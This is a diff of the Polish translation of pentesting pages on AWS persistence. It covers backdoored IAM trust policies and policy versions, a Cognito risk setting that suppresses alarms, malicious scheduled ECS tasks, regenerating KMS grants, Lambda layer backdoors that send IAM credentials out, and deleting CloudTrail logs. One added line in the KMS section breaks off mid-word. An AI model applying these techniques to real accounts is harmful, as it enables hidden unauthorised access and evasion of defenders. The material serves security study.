- Możesz **ustawić politykę haseł**, opcje takie jak minimalna długość i wymagania dotyczące haseł.
|
||||
- Możesz **pobrać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takimi jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak co **cztery godziny**.
|
||||
|
||||
AWS Identity and Access Management (IAM) zapewnia **szczegółową kontrolę dostępu** w całym AWS. Dzięki IAM możesz określić **kto może uzyskać dostęp do jakich usług i zasobów**, oraz na jakich warunkach. Dzięki politykom IAM zarządzasz uprawnieniami dla swojej siły roboczej i systemów, aby **zapewnić minimalne uprawnienia**.
|
||||
AWS Identity and Access Management (IAM) zapewnia **szczegółową kontrolę dostępu** w całym AWS. Dzięki IAM możesz określić, **kto może uzyskać dostęp do jakich usług i zasobów**, oraz na jakich warunkach. Dzięki politykom IAM zarządzasz uprawnieniami swojej siły roboczej i systemów, aby **zapewnić minimalne uprawnienia**.
|
||||
|
||||
### Prefiksy ID IAM
|
||||
|
||||
@@ -299,14 +295,14 @@ Na [**tej stronie**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_
|
||||
|
||||
| ABIA | [Token nosiciela usługi AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ACCA | Poświadczenie specyficzne dla kontekstu |
|
||||
| AGPA | Grupa użytkowników |
|
||||
| AIDA | Użytkownik IAM |
|
||||
| ACCA | Poświadczenie specyficzne dla kontekstu |
|
||||
| AGPA | Grupa użytkowników |
|
||||
| AIDA | Użytkownik IAM |
|
||||
| AIPA | Profil instancji Amazon EC2 |
|
||||
| AKIA | Klucz dostępu |
|
||||
| ANPA | Polityka zarządzana |
|
||||
| ANVA | Wersja w polityce zarządzanej |
|
||||
| APKA | Klucz publiczny |
|
||||
| AKIA | Klucz dostępu |
|
||||
| ANPA | Polityka zarządzana |
|
||||
| ANVA | Wersja w polityce zarządzanej |
|
||||
| APKA | Klucz publiczny |
|
||||
| AROA | Rola |
|
||||
| ASCA | Certyfikat |
|
||||
| ASIA | [Tymczasowe identyfikatory kluczy dostępu (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) używają tego prefiksu, ale są unikalne tylko w połączeniu z tajnym kluczem dostępu i tokenem sesji. |
|
||||
@@ -343,7 +339,7 @@ region = eu-west-2
|
||||
```
|
||||
Jeśli musisz uzyskać dostęp do **różnych kont AWS** i Twój profil ma dostęp do **przyjęcia roli w tych kontach**, nie musisz ręcznie wywoływać STS za każdym razem (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) i konfigurować poświadczeń.
|
||||
|
||||
Możesz użyć pliku `~/.aws/config`, aby [**wskazać, które role przyjąć**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a następnie użyć parametru `--profile` jak zwykle (operacja `assume-role` zostanie wykonana w sposób przezroczysty dla użytkownika).\
|
||||
Możesz użyć pliku `~/.aws/config`, aby [ **wskazać, które role przyjąć**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a następnie użyć parametru `--profile` jak zwykle (operacja `assume-role` zostanie wykonana w sposób przezroczysty dla użytkownika).\
|
||||
Przykład pliku konfiguracyjnego:
|
||||
```
|
||||
[profile acc2]
|
||||
|
||||
@@ -10,7 +10,7 @@ Aby uzyskać informacje o SAML, sprawdź:
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** oraz **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym)
|
||||
Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** i **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym)
|
||||
|
||||
## OIDC - Nadużycie Github Actions
|
||||
|
||||
@@ -18,7 +18,7 @@ Aby dodać akcję github jako dostawcę tożsamości:
|
||||
|
||||
1. W _Typ dostawcy_ wybierz **OpenID Connect**.
|
||||
2. W _URL dostawcy_ wpisz `https://token.actions.githubusercontent.com`
|
||||
3. Kliknij na _Pobierz odcisk palca_, aby uzyskać odcisk palca dostawcy
|
||||
3. Kliknij _Pobierz odcisk palca_, aby uzyskać odcisk palca dostawcy
|
||||
4. W _Odbiorca_ wpisz `sts.amazonaws.com`
|
||||
5. Utwórz **nową rolę** z **uprawnieniami**, których potrzebuje akcja github oraz **politykę zaufania**, która ufa dostawcy, jak w poniższym przykładzie:
|
||||
- ```json
|
||||
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu przez ustawienie **OIDC URL** klastra jako **nowego dostawcy tożsamości Open ID**. To jest powszechna domyślna polityka:
|
||||
Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu ustawiając **OIDC URL** klastra jako **nowego dostawcę tożsamości Open ID**. To jest powszechna domyślna polityka:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -108,7 +108,7 @@ Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu przez
|
||||
]
|
||||
}
|
||||
```
|
||||
Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **KAŻDE konto usługi z tokenem tożsamości webowej** będzie **mogło przyjąć** rolę.
|
||||
Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **WSZYSTKIE konta usługi z tokenem tożsamości webowej** będą **mogły przyjąć** rolę.
|
||||
|
||||
Aby określić, **które konto usługi powinno mieć możliwość przyjęcia roli,** należy określić **warunek**, w którym **nazwa konta usługi jest określona**, na przykład:
|
||||
```bash
|
||||
|
||||
@@ -10,8 +10,8 @@ To są uprawnienia, które potrzebujesz na każdym koncie AWS, które chcesz aud
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Opcjonalne, jeśli klient generuje analizatory za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
|
||||
- Opcjonalne, jeśli klient generuje analizy dla Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Opcjonalne, jeśli klient usuwa analizatory za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
|
||||
- Opcjonalne, jeśli klient usuwa analizy za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -26,7 +26,7 @@ Lub po prostu usuń użycie autoryzatora.
|
||||
|
||||
### Klucze API
|
||||
|
||||
Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać dostęp lub nawet stworzyć nowe.\
|
||||
Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać ciągłość lub nawet stworzyć nowe.\
|
||||
Lub po prostu usuń użycie kluczy API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Cognito Persistence
|
||||
# AWS - Utrzymywanie w Cognito
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -29,7 +29,7 @@ Sprawdź, jak wykonać te działania w
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Atakujący z tym uprawnieniem mógłby zmodyfikować konfigurację ryzyka, aby móc zalogować się jako użytkownik Cognito **bez wywoływania alarmów**. [**Sprawdź cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), aby zobaczyć wszystkie opcje:
|
||||
Atakujący z tym uprawnieniem mógłby zmodyfikować konfigurację ryzyka, aby móc zalogować się jako użytkownik Cognito **bez wyzwalania alarmów**. [**Sprawdź cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), aby zobaczyć wszystkie opcje:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
@@ -12,14 +12,14 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### Utrzymywanie połączenia grupy zabezpieczeń
|
||||
|
||||
Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na całą podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**.
|
||||
Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na cały podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**.
|
||||
|
||||
Jeśli atakujący miał **odwróconą powłokę pochodzącą z maszyny**, nawet jeśli SG zostanie zmodyfikowane, aby nie zezwalać na ruch przychodzący lub wychodzący, **połączenie nie zostanie zakończone z powodu** [**Śledzenia połączeń grupy zabezpieczeń**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### Menedżer cyklu życia EC2
|
||||
|
||||
Ta usługa pozwala na **planowanie** **tworzenia AMI i migawków** oraz nawet **dzielenie się nimi z innymi kontami**.\
|
||||
Atakujący mógłby skonfigurować **generowanie AMI lub migawków** wszystkich obrazów lub wszystkich wolumenów **co tydzień** i **dzielić się nimi ze swoim kontem**.
|
||||
Atakujący mógłby skonfigurować **generowanie AMI lub migawków** wszystkich obrazów lub wszystkich woluminów **co tydzień** i **dzielić się nimi ze swoim kontem**.
|
||||
|
||||
### Zaplanowane instancje
|
||||
|
||||
|
||||
@@ -41,7 +41,7 @@ aws ecr set-repository-policy \
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Zauważ, że ECR wymaga, aby użytkownicy mieli **uprawnienia** do wywoływania API **`ecr:GetAuthorizationToken`** za pomocą polityki IAM **zanim będą mogli uwierzytelnić się** w rejestrze i przesyłać lub pobierać obrazy z dowolnego repozytorium Amazon ECR.
|
||||
> Zauważ, że ECR wymaga, aby użytkownicy mieli **uprawnienia** do wywoływania API **`ecr:GetAuthorizationToken`** za pomocą polityki IAM **zanim będą mogli uwierzytelnić się** w rejestrze oraz przesyłać lub pobierać obrazy z dowolnego repozytorium Amazon ECR.
|
||||
|
||||
### Polityka rejestru i replikacja między kontami
|
||||
|
||||
@@ -49,7 +49,7 @@ Możliwe jest automatyczne replikowanie rejestru w zewnętrznym koncie, konfigur
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Najpierw musisz dać zewnętrznemu kontu dostęp do rejestru za pomocą **polityki rejestru** takiej jak:
|
||||
Najpierw musisz nadać zewnętrznemu kontu dostęp do rejestru za pomocą **polityki rejestru** takiej jak:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rozpoznanie, eksfiltrację danych lub utrzymywać persistencję w koncie AWS.
|
||||
Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rekonesans, exfiltrację danych lub utrzymywać persistencję w koncie AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
@@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Napastnik może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymania dostępu i wykonywania złośliwych działań.
|
||||
Napastnik może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymywania dostępu i wykonywania złośliwych działań.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
|
||||
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modyfikacja polityki zasobów / grup bezpieczeństwa
|
||||
### Modyfikacja polityki zasobów / grup zabezpieczeń
|
||||
|
||||
Modyfikując **politykę zasobów i/lub grupy bezpieczeństwa**, możesz spróbować utrzymać dostęp do systemu plików.
|
||||
Modyfikując **politykę zasobów i/lub grupy zabezpieczeń**, możesz spróbować utrzymać dostęp do systemu plików.
|
||||
|
||||
### Utwórz punkt dostępu
|
||||
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### Utrzymywanie dostępu w instancji
|
||||
|
||||
Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu w instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**.
|
||||
Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu wewnątrz instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**.
|
||||
|
||||
### Tylnie drzwi w wersji
|
||||
|
||||
|
||||
@@ -10,18 +10,18 @@ Aby uzyskać więcej informacji, przejdź do:
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Powszechna trwałość IAM
|
||||
### Common IAM Persistence
|
||||
|
||||
- Utwórz użytkownika
|
||||
- Dodaj kontrolowanego użytkownika do uprzywilejowanej grupy
|
||||
- Utwórz klucze dostępu (nowego użytkownika lub wszystkich użytkowników)
|
||||
- Przyznaj dodatkowe uprawnienia kontrolowanym użytkownikom/grupom (polityki dołączone lub polityki inline)
|
||||
- Wyłącz MFA / Dodaj własne urządzenie MFA
|
||||
- Utwórz sytuację z łańcuchem ról (więcej na ten temat poniżej w trwałości STS)
|
||||
- Utwórz sytuację z łańcuchem ról (więcej na ten temat poniżej w persystencji STS)
|
||||
|
||||
### Polityki zaufania ról backdoor
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Możesz wprowadzić backdoor do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich):
|
||||
Możesz wprowadzić backdoora do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -38,7 +38,7 @@ Możesz wprowadzić backdoor do polityki zaufania, aby móc ją przyjąć dla ze
|
||||
```
|
||||
### Wersja Polityki Backdoor
|
||||
|
||||
Nadaj uprawnienia Administratora polityce, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy.
|
||||
Nadaj uprawnienia Administratora do polityki, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy.
|
||||
|
||||
### Backdoor / Utwórz Dostawcę Tożsamości
|
||||
|
||||
|
||||
@@ -18,9 +18,7 @@ Atakujący może użyć uprawnienia **`kms:PutKeyPolicy`** do **przyznania dost
|
||||
|
||||
Przyznania to inny sposób na nadanie podmiotowi pewnych uprawnień do konkretnego klucza. Możliwe jest przyznanie, które pozwala użytkownikowi tworzyć przyznania. Co więcej, użytkownik może mieć kilka przyznań (nawet identycznych) do tego samego klucza.
|
||||
|
||||
Dlatego możliwe jest, aby użytkownik miał 10 przyznań ze wszystkimi uprawnieniami. Atakujący powinien to stale monitorować. A jeśli w pewnym momencie 1 przyznanie zostanie usunięte, powinno zostać wygenerowanych kolejne 10.
|
||||
|
||||
(Używamy 10, a nie 2, aby móc wykryć, że przyznanie zostało usunięte, podczas gdy użytkownik nadal ma jakieś przyznanie)
|
||||
Dlatego użytkownik może mieć 10 przyznań ze wszystkimi uprawnieniami. Atakujący powinien to stale monitorować. A jeśli w pewnym momencie 1 przyznanie zostanie usunięte, powin
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
|
||||
@@ -36,7 +36,7 @@ Możliwe jest przyznanie dostępu do różnych akcji lambdy (takich jak wywołan
|
||||
|
||||
Lambda może mieć **różne wersje** (z różnym kodem w każdej wersji).\
|
||||
Następnie możesz utworzyć **różne aliasy z różnymi wersjami** lambdy i ustawić różne wagi dla każdej.\
|
||||
W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 z tylko legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
|
||||
W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 tylko z legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -59,6 +59,6 @@ Oto kilka pomysłów, aby uczynić swoją **obecność w AWS bardziej ukrytą, t
|
||||
|
||||
- Za każdym razem, gdy tworzony jest nowy użytkownik, lambda generuje nowy klucz użytkownika i wysyła go do atakującego.
|
||||
- Za każdym razem, gdy tworzona jest nowa rola, lambda przyznaje uprawnienia do przyjęcia roli skompromitowanym użytkownikom.
|
||||
- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmodyfikuj je
|
||||
- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmień je
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@ Rozszerzenia Lambda wzbogacają funkcje poprzez integrację z różnymi **narzę
|
||||
|
||||
Aby uzyskać więcej informacji o [**tym, jak działają rozszerzenia lambda, sprawdź dokumentację**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### Zewnętrzne Rozszerzenie do Utrzymywania, Kradzieży Żądań i Modyfikacji Żądań
|
||||
### Zewnętrzne Rozszerzenie dla Utrzymywania, Kradzieży Żądań i Modyfikacji Żądań
|
||||
|
||||
To jest podsumowanie techniki zaproponowanej w tym poście: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
|
||||
+10
-10
@@ -1,20 +1,20 @@
|
||||
# AWS - Utrzymywanie warstw Lambda
|
||||
# AWS - Lambda Layers Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Warstwy Lambda
|
||||
## Lambda Layers
|
||||
|
||||
Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowy runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne.
|
||||
|
||||
Możliwe jest dołączenie do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wyodrębniana do katalogu `/opt`** w środowisku wykonawczym.
|
||||
|
||||
Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
|
||||
Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal używać wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
|
||||
|
||||
Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swój preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.
|
||||
|
||||
### Ścieżka ładowania Pythona
|
||||
### Python load path
|
||||
|
||||
Ścieżka ładowania, którą Python będzie używać w lambda, jest następująca:
|
||||
Ścieżka ładowania, której Python użyje w lambda, jest następująca:
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
@@ -26,7 +26,7 @@ Sprawdź, jak **drugie** i trzecie **pozycje** są zajmowane przez katalogi, w k
|
||||
Dlatego wymagania są następujące:
|
||||
|
||||
- **Sprawdź biblioteki**, które są **ładowane** przez kod ofiary
|
||||
- Stwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę.
|
||||
- Utwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę.
|
||||
|
||||
### Wstępnie załadowane biblioteki
|
||||
|
||||
@@ -52,9 +52,9 @@ I oto lista **bibliotek**, które **lambda zawiera zainstalowane domyślnie**: [
|
||||
|
||||
### Backdooring Lambda Layer
|
||||
|
||||
W tym przykładzie załóżmy, że kod docelowy importuje **`csv`**. Będziemy **wprowadzać backdoora do importu biblioteki `csv`**.
|
||||
W tym przykładzie załóżmy, że kod docelowy importuje **`csv`**. Będziemy **backdoorować import biblioteki `csv`**.
|
||||
|
||||
Aby to zrobić, stworzymy **katalog csv** z plikiem **`__init__.py`** w ścieżce, która jest ładowana przez lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Aby to zrobić, stworzymy katalog **csv** z plikiem **`__init__.py`** w ścieżce, która jest ładowana przez lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Następnie, gdy lambda zostanie wykonana i spróbuje załadować **csv**, nasz **plik `__init__.py` zostanie załadowany i wykonany**.\
|
||||
Ten plik musi:
|
||||
|
||||
@@ -87,7 +87,7 @@ Następnie utwórz zip z tym kodem w ścieżce **`python/lib/python3.9/site-pack
|
||||
|
||||
Możesz znaleźć ten kod w [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
Zintegrowany payload **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane:
|
||||
Zintegrowany ładunek **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
@@ -100,7 +100,7 @@ Należy również zauważyć, że **maksymalna liczba warstw, które może mieć
|
||||
|
||||
Dlatego, aby poprawić wszechstronność tej techniki, atakujący mógłby:
|
||||
|
||||
- Wprowadzić backdoora do istniejącej warstwy użytkownika (nic nie jest zewnętrzne)
|
||||
- Wprowadzić tylną furtkę do istniejącej warstwy użytkownika (nic nie jest zewnętrzne)
|
||||
- **Utworzyć** **warstwę** w **swoim koncie**, dać **koncie ofiary dostęp** do używania warstwy, **skonfigurować** **warstwę** w Lambdzie ofiary i **usunąć uprawnienia**.
|
||||
- **Lambda** nadal będzie mogła **używać warstwy**, a **ofiara nie** będzie miała łatwego sposobu na **pobranie kodu warstwy** (oprócz uzyskania powłoki rev wewnątrz lambdy)
|
||||
- Ofiara **nie zobaczy zewnętrznych warstw** używanych z **`aws lambda list-layers`**
|
||||
|
||||
@@ -10,13 +10,13 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Pobierz klucze SSH instancji i hasła do DB
|
||||
### Pobierz klucze SSH instancji i hasła do bazy danych
|
||||
|
||||
Prawdopodobnie nie będą zmieniane, więc posiadanie ich to dobry wybór na utrzymanie dostępu
|
||||
Prawdopodobnie nie będą zmieniane, więc posiadanie ich to dobry sposób na utrzymanie dostępu.
|
||||
|
||||
### Backdoor Instancji
|
||||
|
||||
Atakujący mógłby uzyskać dostęp do instancji i wprowadzić backdoora:
|
||||
Atakujący może uzyskać dostęp do instancji i wprowadzić backdoora:
|
||||
|
||||
- Używając tradycyjnego **rootkita** na przykład
|
||||
- Dodając nowy **publiczny klucz SSH**
|
||||
@@ -26,8 +26,8 @@ Atakujący mógłby uzyskać dostęp do instancji i wprowadzić backdoora:
|
||||
|
||||
Jeśli domeny są skonfigurowane:
|
||||
|
||||
- Utwórz subdomenę wskazującą na Twój IP, aby mieć **przejęcie subdomeny**
|
||||
- Utwórz rekord **SPF**, który pozwala Ci wysyłać **emaile** z domeny
|
||||
- Skonfiguruj **główny adres IP domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów
|
||||
- Utwórz subdomenę wskazującą na Twój adres IP, aby uzyskać **przejęcie subdomeny**
|
||||
- Utwórz rekord **SPF**, który pozwoli Ci wysyłać **emaile** z domeny
|
||||
- Skonfiguruj **adres IP głównej domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
|
||||
```
|
||||
### Utwórz użytkownika administratora w bazie danych
|
||||
|
||||
Atakujący może po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło głównego użytkownika zostanie zmienione, **nie traci dostępu** do bazy danych.
|
||||
Atakujący może po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło użytkownika głównego zostanie zmienione, **nie traci dostępu** do bazy danych.
|
||||
|
||||
### Uczyń migawkę publiczną
|
||||
```bash
|
||||
|
||||
@@ -12,11 +12,11 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Gdy proces szyfrowania jest zakończony, użytkownik użyje API KMS do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł go ponownie odszyfrować za pomocą KMS:
|
||||
Gdy proces szyfrowania jest zakończony, użytkownik użyje KMS API do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł ponownie użyć KMS:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i odszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go wykorzystać.
|
||||
W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i deszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go użyć.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### Poprzez Polityki Zasobów
|
||||
|
||||
